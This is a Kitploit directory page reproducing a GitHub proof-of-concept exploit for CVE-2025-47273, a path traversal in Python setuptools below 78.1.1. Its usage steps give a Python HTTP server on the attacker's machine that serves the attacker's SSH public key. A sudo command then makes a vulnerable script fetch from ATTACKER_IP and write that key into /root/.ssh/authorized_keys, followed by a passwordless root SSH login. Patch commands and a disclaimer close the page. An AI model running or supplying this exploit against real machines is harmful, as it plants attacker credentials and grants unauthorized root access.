Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingSupply Chain SecurityLearning & Education
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — setuptools path traversal PoC

View Repository
1308 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →
Share

setuptools Path Traversal CVE-2025-47273

📖 Overview

Proof-of-concept exploit for a path traversal vulnerability in Python setuptools < 78.1.1.

By abusing the PackageIndex component's _download_url function, an attacker can write arbitrary files to any location on the filesystem — with the privileges of the process running setuptools.


🎯 Vulnerability Summary

FieldDetail
🎯 TargetPython setuptools < 78.1.1
🐛 Bug ClassPath Traversal (CWE-22)
💥 ImpactArbitrary file write
📍 Attack VectorMalicious package index URL
🔍 Root Causeos.path.join() discards tmpdir when second argument starts with /

📋 Prerequisites

  • Python 3 on both machines
  • SSH key pair already generated on attacker (~/.ssh/id_rsa + id_rsa.pub)
  • Target script calls setuptools PackageIndex with a user-controlled URL

🚀 Usage

🔧 Step 1 — Prepare your SSH public key (Attacker Machine)

# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 Step 2 — Start the malicious HTTP server (Attacker Machine)

This server responds to any GET request with your public key — regardless of the path. setuptools will request the path /USER/.ssh/authorized_keys but receive your key content.

cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 Step 3 — Trigger the path traversal (Victim Machine)

ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 Step 4 — Login as root (Attacker Machine)

ssh root@VICTIM_IP

No password. Direct root shell. 🔑


🔒 Patch

Version 78.1.1 fixes the issue.

Package ManagerCommand
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ Manualsetuptools releases

📎 References

  • 🔗 NVD — CVE-2025-47273

  • 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

  • 🔗 setuptools Fix Commit

  • 🔗 setuptools poc


⚖️ Disclaimer and Terms

This Proof of Concept (PoC) code is provided for educational and authorized penetration testing purposes only.

  • No permission is granted to modify, redistribute, or use this code for any other purposes.
  • Unauthorized use or modification may be illegal and unethical.
  • The authors take no responsibility for any misuse or damages.
Download Tool